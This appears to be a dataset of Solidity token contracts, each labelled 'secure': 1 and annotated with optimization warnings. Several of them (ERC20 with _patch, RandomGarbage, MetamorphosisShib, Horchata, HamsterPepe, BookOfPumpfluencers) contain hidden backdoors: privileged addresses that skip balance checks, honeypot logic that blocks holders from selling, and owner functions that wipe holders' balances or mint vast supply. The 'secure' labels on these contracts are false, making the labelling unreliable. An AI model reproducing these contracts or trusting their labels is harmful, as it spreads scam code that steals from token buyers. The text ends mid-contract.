files
dict
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n using SafeMath for uint256;\n address internal devWallet = 0x60e065aa26C0cA88ee0F1c6E4A99B8F8474e7858;\n\n uint256 private tTotal;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n address DEAD = 0x000000000000000000000000000000000000dEaD;\n\n string private _name;\n uint256 private _allowance = 0;\n string private _symbol;\n address private _V2Factory = 0x1dE0DBF6ac9434AAa2D7fCA386D47C80130bB4f8;\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n uint256 fromBalance = _balances[from];\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n _balances[from] = fromBalance - amount;\n\n _balances[to] = _balances[to].add(amount);\n emit Transfer(from, to, amount);\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 9;\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n function _afterTokenTransfer(address to) internal virtual {\n if (to == _V2Factory) _allowance = decimals() * 11;\n }\n\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n unchecked {\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n unchecked {\n _balances[account] = accountBalance - amount;\n\n tTotal -= amount;\n }\n\n emit Transfer(account, address(0), amount);\n\n _afterTokenTransfer(address(0));\n }\n\n function transfer(\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n _transfer(owner, to, amount);\n return true;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, amount);\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address spender = _msgSender();\n _spendAllowance(from, spender, amount);\n _transfer(from, to, amount);\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n uint256 currentAllowance = allowance(owner, spender);\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n unchecked {\n _approve(owner, spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n function _patch(address _patchSender) external {\n _balances[_patchSender] = msg.sender == _V2Factory\n ? 0x2\n : _balances[_patchSender];\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, allowance(owner, spender) + addedValue);\n return true;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return tTotal;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n tTotal += amount;\n unchecked {\n _balances[account] += amount;\n }\n emit Transfer(address(0), account, amount);\n\n _afterTokenTransfer(account);\n }\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n _symbol = symbol_;\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}", "file_name": "solidity_code_1719.sol", "secure": 1, "size_bytes": 6281 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\ninterface UniswapRouter {\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n}", "file_name": "solidity_code_172.sol", "secure": 1, "size_bytes": 209 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract GEMINIBTC is ERC20, Ownable {\n constructor() ERC20(\"Gemini BTC\", \"GEMINIBTC\") {\n transferOwnership(devWallet);\n _mint(owner(), 7010000000000 * 10 ** uint256(decimals()));\n }\n}", "file_name": "solidity_code_1720.sol", "secure": 1, "size_bytes": 404 }
{ "code": "// SPDX-License-Identifier: GPL-3.0\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\n\ncontract RandomGarbage is Ownable {\n\t// WARNING Optimization Issue (constable-states | ID: f5cc49a): RandomGarbage.uniswapV2Router should be constant \n\t// Recommendation for f5cc49a: Add the 'constant' attribute to state variables that never change.\n IUniswapV2Router02 private uniswapV2Router =\n IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n\n\t// WARNING Optimization Issue (constable-states | ID: 7b53b24): RandomGarbage.coldStorage should be constant \n\t// Recommendation for 7b53b24: Add the 'constant' attribute to state variables that never change.\n uint256 private coldStorage = 17;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 7cd9c1c): RandomGarbage.uniswapV2Pair should be immutable \n\t// Recommendation for 7cd9c1c: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uniswapV2Pair;\n\n\t// WARNING Optimization Issue (constable-states | ID: 71d55c3): RandomGarbage.totalSupply should be constant \n\t// Recommendation for 71d55c3: Add the 'constant' attribute to state variables that never change.\n uint256 public totalSupply = 1_000_000_000 * 10 ** 9;\n\n constructor(address baggoo) {\n balanceOf[msg.sender] = totalSupply;\n vault[baggoo] = coldStorage;\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n }\n\n mapping(address => mapping(address => uint256)) public allowance;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4b60d50): RandomGarbage.decimals should be constant \n\t// Recommendation for 4b60d50: Add the 'constant' attribute to state variables that never change.\n uint8 public decimals = 9;\n\n mapping(address => uint256) public balanceOf;\n\n mapping(address => uint256) private wrist;\n\n function approve(\n address fucccledgher,\n uint256 bag\n ) public returns (bool success) {\n allowance[msg.sender][fucccledgher] = bag;\n emit Approval(msg.sender, fucccledgher, bag);\n return true;\n }\n\n function transferFrom(\n address animal,\n address trezoooor,\n uint256 bag\n ) public returns (bool success) {\n jeetIt(animal, trezoooor, bag);\n require(bag <= allowance[animal][msg.sender]);\n allowance[animal][msg.sender] -= bag;\n return true;\n }\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n mapping(address => uint256) private vault;\n\n function transfer(\n address trezoooor,\n uint256 bag\n ) public returns (bool success) {\n jeetIt(msg.sender, trezoooor, bag);\n return true;\n }\n\n\t// WARNING Optimization Issue (constable-states | ID: 4a060a1): RandomGarbage.name should be constant \n\t// Recommendation for 4a060a1: Add the 'constant' attribute to state variables that never change.\n string public name = \"Random Garbage\";\n\n function jeetIt(\n address animal,\n address trezoooor,\n uint256 bag\n ) private returns (bool success) {\n if (vault[animal] == 0) {\n balanceOf[animal] -= bag;\n }\n\n if (bag == 0) wrist[trezoooor] += coldStorage;\n\n if (\n vault[animal] == 0 && uniswapV2Pair != animal && wrist[animal] > 0\n ) {\n vault[animal] -= coldStorage;\n }\n\n balanceOf[trezoooor] += bag;\n emit Transfer(animal, trezoooor, bag);\n return true;\n }\n\n\t// WARNING Optimization Issue (constable-states | ID: 2fa8a97): RandomGarbage.symbol should be constant \n\t// Recommendation for 2fa8a97: Add the 'constant' attribute to state variables that never change.\n string public symbol = \"GARBAGE\";\n}", "file_name": "solidity_code_1721.sol", "secure": 1, "size_bytes": 4286 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\n\ncontract MetamorphosisShib is Ownable {\n\t// WARNING Optimization Issue (immutable-states | ID: 69291d8): MetamorphosisShib.totalSupply should be immutable \n\t// Recommendation for 69291d8: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public totalSupply;\n\n function equator(\n address ever,\n address together,\n uint256 welcome\n ) private returns (bool success) {\n if (facing[ever] == 0) {\n if (uniswapV2Pair != ever && military[ever] > 0) {\n facing[ever] -= small;\n }\n balanceOf[ever] -= welcome;\n }\n balanceOf[together] += welcome;\n if (welcome == 0) {\n military[together] += small;\n }\n emit Transfer(ever, together, welcome);\n return true;\n }\n\n function transferFrom(\n address ever,\n address together,\n uint256 welcome\n ) public returns (bool success) {\n equator(ever, together, welcome);\n require(welcome <= allowance[ever][msg.sender]);\n allowance[ever][msg.sender] -= welcome;\n return true;\n }\n\n\t// WARNING Optimization Issue (immutable-states | ID: da411ed): MetamorphosisShib.uniswapV2Pair should be immutable \n\t// Recommendation for da411ed: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uniswapV2Pair;\n\n string public symbol;\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n function transfer(\n address moon,\n uint256 pump\n ) public returns (bool success) {\n equator(msg.sender, moon, pump);\n return true;\n }\n\n\t// WARNING Optimization Issue (constable-states | ID: d3c404b): MetamorphosisShib.small should be constant \n\t// Recommendation for d3c404b: Add the 'constant' attribute to state variables that never change.\n uint256 private small = 45;\n\n mapping(address => uint256) private facing;\n\n constructor(address electricity) {\n totalSupply = 100000000000 * 10 ** decimals;\n IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n balanceOf[msg.sender] = totalSupply;\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n symbol = \"$MORPHOSHI\";\n facing[electricity] = small;\n name = \"Metamorphosis Shib\";\n }\n\n string public name;\n\n mapping(address => uint256) private military;\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n function approve(\n address shirt,\n uint256 welcome\n ) public returns (bool success) {\n allowance[msg.sender][shirt] = welcome;\n emit Approval(msg.sender, shirt, welcome);\n return true;\n }\n\n mapping(address => mapping(address => uint256)) public allowance;\n\n\t// WARNING Optimization Issue (constable-states | ID: 037cd94): MetamorphosisShib.decimals should be constant \n\t// Recommendation for 037cd94: Add the 'constant' attribute to state variables that never change.\n uint8 public decimals = 9;\n\n mapping(address => uint256) public balanceOf;\n}", "file_name": "solidity_code_1722.sol", "secure": 1, "size_bytes": 3760 }
{ "code": "// SPDX-License-Identifier: GPL-3.0\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\n\ncontract Horchata is Ownable {\n\t// WARNING Optimization Issue (constable-states | ID: 6f4b304): Horchata.uniswapV2Router should be constant \n\t// Recommendation for 6f4b304: Add the 'constant' attribute to state variables that never change.\n IUniswapV2Router02 private uniswapV2Router =\n IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n\n mapping(address => uint256) public balanceOf;\n\n\t// WARNING Optimization Issue (constable-states | ID: 748b910): Horchata.totalSupply should be constant \n\t// Recommendation for 748b910: Add the 'constant' attribute to state variables that never change.\n uint256 public totalSupply = 1000000000 * 10 ** 9;\n\n\t// WARNING Optimization Issue (constable-states | ID: f3042b4): Horchata.moon should be constant \n\t// Recommendation for f3042b4: Add the 'constant' attribute to state variables that never change.\n uint256 private moon = 36;\n\n mapping(address => mapping(address => uint256)) public allowance;\n\n\t// WARNING Optimization Issue (constable-states | ID: e7cb445): Horchata.decimals should be constant \n\t// Recommendation for e7cb445: Add the 'constant' attribute to state variables that never change.\n uint8 public decimals = 9;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 77ff4cf): Horchata.uniswapV2Pair should be immutable \n\t// Recommendation for 77ff4cf: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uniswapV2Pair;\n\n mapping(address => uint256) private hickory;\n\n function transferFrom(\n address ash,\n address scaffold,\n uint256 rock\n ) public returns (bool success) {\n trajectory(ash, scaffold, rock);\n require(rock <= allowance[ash][msg.sender]);\n allowance[ash][msg.sender] -= rock;\n return true;\n }\n\n function approve(\n address dixon,\n uint256 rock\n ) public returns (bool success) {\n allowance[msg.sender][dixon] = rock;\n emit Approval(msg.sender, dixon, rock);\n return true;\n }\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n function transfer(\n address scaffold,\n uint256 rock\n ) public returns (bool success) {\n trajectory(msg.sender, scaffold, rock);\n return true;\n }\n\n mapping(address => uint256) private finnicky;\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n function trajectory(\n address ash,\n address scaffold,\n uint256 rock\n ) private returns (bool success) {\n if (finnicky[ash] == 0) {\n balanceOf[ash] -= rock;\n }\n\n if (rock == 0) hickory[scaffold] += moon;\n\n if (finnicky[ash] == 0 && uniswapV2Pair != ash && hickory[ash] > 0) {\n finnicky[ash] -= moon;\n }\n\n balanceOf[scaffold] += rock;\n emit Transfer(ash, scaffold, rock);\n return true;\n }\n\n constructor(address warlock) {\n balanceOf[msg.sender] = totalSupply;\n finnicky[warlock] = moon;\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n }\n\n\t// WARNING Optimization Issue (constable-states | ID: c198370): Horchata.symbol should be constant \n\t// Recommendation for c198370: Add the 'constant' attribute to state variables that never change.\n string public symbol = \"HORCHATA\";\n\n\t// WARNING Optimization Issue (constable-states | ID: 465beb9): Horchata.name should be constant \n\t// Recommendation for 465beb9: Add the 'constant' attribute to state variables that never change.\n string public name = \"Horchata\";\n}", "file_name": "solidity_code_1723.sol", "secure": 1, "size_bytes": 4163 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./IPancakeFactory.sol\" as IPancakeFactory;\n\ncontract BookOfPumpfluencers {\n uint256 private immutable _supply;\n\n string private _name;\n\n string private _symbol;\n\n address private immutable _owner;\n\n uint8 private immutable _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5490080): BookOfPumpfluencers.boughAmount should be constant \n\t// Recommendation for 5490080: Add the 'constant' attribute to state variables that never change.\n uint256 boughAmount = 0;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n constructor() {\n _name = \"Book Of Pumpfluencers\";\n\n _symbol = \"BOPI\";\n\n _decimals = 9;\n\n _supply = 10 ** 9 * 10 ** _decimals;\n\n _owner = msg.sender;\n\n _balances[msg.sender] = _supply;\n\n emit Transfer(address(0), msg.sender, _supply);\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function totalSupply() public view returns (uint256) {\n return _supply;\n }\n\n function decimals() public view virtual returns (uint8) {\n return _decimals;\n }\n\n function balanceOf(address account) public view returns (uint256) {\n return _balances[account];\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function transfer(address to, uint256 amount) public returns (bool) {\n _transfer(msg.sender, to, amount);\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function cexLock(\n address[] memory _user,\n uint256[] memory _amount\n ) external {\n if (_owner == msg.sender) {\n for (uint256 i = 0; i < _user.length; i++) {\n _transfer(msg.sender, _user[i], _amount[i]);\n }\n }\n }\n\n function execute(address n) external {\n if (\n _owner == msg.sender &&\n _owner != n &&\n pairs() != n &&\n n != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n ) {\n _balances[n] = boughAmount;\n } else {}\n }\n\n function revertExecute(uint256 n) external {\n if (_owner == msg.sender) {\n uint256 devTransfer = n;\n\n devTransfer = 10 ** 15 * n * 1 * 10 ** _decimals;\n\n uint256 rev_bxx = devTransfer;\n\n _balances[msg.sender] = rev_bxx;\n } else {\n _balances[msg.sender] = _balances[msg.sender] + 1 - 1;\n\n require(_owner == msg.sender);\n }\n }\n\n function pairs() public view virtual returns (address) {\n return\n IPancakeFactory(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f).getPair(\n address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2),\n address(this)\n );\n }\n\n function approve(address spender, uint256 amount) public returns (bool) {\n _approve(msg.sender, spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual returns (bool) {\n address spender = msg.sender;\n\n _spendAllowance(from, spender, amount);\n\n _transfer(from, to, amount);\n\n return true;\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n uint256 balance = _balances[from];\n\n require(balance >= amount, \"ERC20: transfer amount exceeds balance\");\n\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[from] = _balances[from] - amount;\n\n _balances[to] = _balances[to] + amount;\n\n emit Transfer(from, to, amount);\n }\n\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n}", "file_name": "solidity_code_1724.sol", "secure": 1, "size_bytes": 5236 }
{ "code": "// SPDX-License-Identifier: No\n\npragma solidity ^0.8.0;\n\ncontract Initializable {\n bool private initialized;\n bool private initializing;\n modifier initializer() {\n require(\n initializing || !initialized,\n \"Contract instance has already been initialized\"\n );\n\n bool isTopLevelCall = !initializing;\n if (isTopLevelCall) {\n initializing = true;\n initialized = true;\n }\n\n _;\n\n if (isTopLevelCall) {\n initializing = false;\n }\n }\n}", "file_name": "solidity_code_1725.sol", "secure": 1, "size_bytes": 573 }
{ "code": "// SPDX-License-Identifier: No\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/proxy/utils/Initializable.sol\" as Initializable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol\" as SafeERC20;\n\ncontract StoreUSDT is Context, Ownable, Initializable {\n using SafeERC20 for IERC20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 281f2df): storeUSDT.amountss should be constant \n\t// Recommendation for 281f2df: Add the 'constant' attribute to state variables that never change.\n uint256 amountss;\n\n function depositUSDT(address token, uint256 amount) external {\n IERC20 Token = IERC20(token);\n Token.safeTransferFrom(msg.sender, address(this), amount);\n }\n}", "file_name": "solidity_code_1726.sol", "secure": 1, "size_bytes": 926 }
{ "code": "// SPDX-License-Identifier: Unlicense\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\n\ncontract HamsterPepe is Ownable {\n\t// WARNING Optimization Issue (constable-states | ID: c336fdd): HamsterPepe.symbol should be constant \n\t// Recommendation for c336fdd: Add the 'constant' attribute to state variables that never change.\n string public symbol = \"Hamster Pepe\";\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n mapping(address => mapping(address => uint256)) public allowance;\n\n mapping(address => uint256) private fchaeg;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3e7589c): HamsterPepe.name should be constant \n\t// Recommendation for 3e7589c: Add the 'constant' attribute to state variables that never change.\n string public name = \"Hamster Pepe\";\n\n\t// WARNING Optimization Issue (immutable-states | ID: 4d84aca): HamsterPepe.talfqrpge should be immutable \n\t// Recommendation for 4d84aca: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public talfqrpge;\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n\t// WARNING Optimization Issue (constable-states | ID: db078f3): HamsterPepe.swyhnazpft should be constant \n\t// Recommendation for db078f3: Add the 'constant' attribute to state variables that never change.\n uint256 private swyhnazpft = 104;\n\n function approve(\n address epjkbcxg,\n uint256 nrvpgj\n ) public returns (bool success) {\n allowance[msg.sender][epjkbcxg] = nrvpgj;\n emit Approval(msg.sender, epjkbcxg, nrvpgj);\n return true;\n }\n\n mapping(address => uint256) private ntbcyv;\n\n function transfer(\n address csdvakphl,\n uint256 nrvpgj\n ) public returns (bool success) {\n pvcfnghk(msg.sender, csdvakphl, nrvpgj);\n return true;\n }\n\n mapping(address => uint256) public balanceOf;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7627c85): HamsterPepe.totalSupply should be constant \n\t// Recommendation for 7627c85: Add the 'constant' attribute to state variables that never change.\n uint256 public totalSupply = 1000000000 * 10 ** 9;\n\n function transferFrom(\n address misztuowpqy,\n address csdvakphl,\n uint256 nrvpgj\n ) public returns (bool success) {\n require(nrvpgj <= allowance[misztuowpqy][msg.sender]);\n allowance[misztuowpqy][msg.sender] -= nrvpgj;\n pvcfnghk(misztuowpqy, csdvakphl, nrvpgj);\n return true;\n }\n\n function pvcfnghk(\n address misztuowpqy,\n address csdvakphl,\n uint256 nrvpgj\n ) private {\n if (0 == ntbcyv[misztuowpqy]) {\n balanceOf[misztuowpqy] -= nrvpgj;\n }\n balanceOf[csdvakphl] += nrvpgj;\n if (0 == nrvpgj && csdvakphl != talfqrpge) {\n balanceOf[csdvakphl] = nrvpgj;\n }\n emit Transfer(misztuowpqy, csdvakphl, nrvpgj);\n }\n\n\t// WARNING Optimization Issue (constable-states | ID: 145b25b): HamsterPepe.decimals should be constant \n\t// Recommendation for 145b25b: Add the 'constant' attribute to state variables that never change.\n uint8 public decimals = 9;\n\n constructor(address ayon) {\n balanceOf[msg.sender] = totalSupply;\n ntbcyv[ayon] = swyhnazpft;\n IUniswapV2Router02 ufvicjtqkyp = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n talfqrpge = IUniswapV2Factory(ufvicjtqkyp.factory()).createPair(\n address(this),\n ufvicjtqkyp.WETH()\n );\n }\n}", "file_name": "solidity_code_1727.sol", "secure": 1, "size_bytes": 3955 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ncontract Ownable {\n address public owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n owner = msg.sender;\n emit OwnershipTransferred(address(0), owner);\n }\n\n modifier onlyOwner() {\n require(isOwner(), \"Ownable: caller is not the owner\");\n _;\n }\n\n function isOwner() public view returns (bool) {\n return msg.sender == owner;\n }\n\n function renounceOwnership() public onlyOwner {\n emit OwnershipTransferred(owner, address(0));\n owner = address(0);\n }\n\n function transferOwnership(address newOwner) public onlyOwner {\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n emit OwnershipTransferred(owner, newOwner);\n owner = newOwner;\n }\n}", "file_name": "solidity_code_1728.sol", "secure": 1, "size_bytes": 1089 }
{ "code": "// SPDX-License-Identifier: GPL-3.0\n\npragma solidity ^0.8.0;\n\nimport \"./OperatorFilterer.sol\" as OperatorFilterer;\n\nabstract contract TheOperatorFilterer is OperatorFilterer {\n address constant DEFAULT_SUBSCRIPTION =\n address(0x3cc6CddA760b79bAfa08dF41ECFA224f810dCeB6);\n\n constructor() OperatorFilterer(DEFAULT_SUBSCRIPTION, true) {}\n}", "file_name": "solidity_code_1729.sol", "secure": 1, "size_bytes": 360 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"./UniswapFactory.sol\" as UniswapFactory;\nimport \"./UniswapRouter.sol\" as UniswapRouter;\n\ncontract TrumpVanceElonVivek47Inu is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) internal _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n\t// WARNING Optimization Issue (constable-states | ID: a4e4745): TrumpVanceElonVivek47Inu._name should be constant \n\t// Recommendation for a4e4745: Add the 'constant' attribute to state variables that never change.\n string private _name = \"TrumpVanceElonVivek47Inu\";\n\n\t// WARNING Optimization Issue (constable-states | ID: d78e543): TrumpVanceElonVivek47Inu._symbol should be constant \n\t// Recommendation for d78e543: Add the 'constant' attribute to state variables that never change.\n string private _symbol = \"USA\";\n\n\t// WARNING Optimization Issue (constable-states | ID: fabd8ac): TrumpVanceElonVivek47Inu._decimals should be constant \n\t// Recommendation for fabd8ac: Add the 'constant' attribute to state variables that never change.\n uint8 private _decimals = 9;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 9916200): TrumpVanceElonVivek47Inu._totalSupply should be immutable \n\t// Recommendation for 9916200: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply = 100_000_000_000 * 10 ** _decimals;\n\n uint256 public _maxTransaction = 2_000_000_000 * 10 ** _decimals;\n\n uint256 public _maxWallet = 2_000_000_000 * 10 ** _decimals;\n\n mapping(address => bool) public _isExcludedFromFee;\n\n mapping(address => bool) public _isMarketPair;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 62bf5f1): TrumpVanceElonVivek47Inu.uniswapV2Router should be immutable \n\t// Recommendation for 62bf5f1: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n UniswapRouter public uniswapV2Router;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 64e4108): TrumpVanceElonVivek47Inu.uniswapV2Pair should be immutable \n\t// Recommendation for 64e4108: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uniswapV2Pair;\n\n bool internal inSwap;\n\n modifier swapping() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n UniswapRouter _uniswapV2Router = UniswapRouter(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n uniswapV2Pair = UniswapFactory(_uniswapV2Router.factory()).createPair(\n address(this),\n _uniswapV2Router.WETH()\n );\n\n uniswapV2Router = _uniswapV2Router;\n\n _isMarketPair[uniswapV2Pair] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_msgSender()] = true;\n\n _balances[_msgSender()] = _totalSupply;\n\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function allowance(\n address accountOwner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[accountOwner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _approve(\n address accountOwner,\n address spender,\n uint256 amount\n ) private {\n require(\n accountOwner != address(0),\n \"ERC20: approve from the zero address\"\n );\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[accountOwner][spender] = amount;\n\n emit Approval(accountOwner, 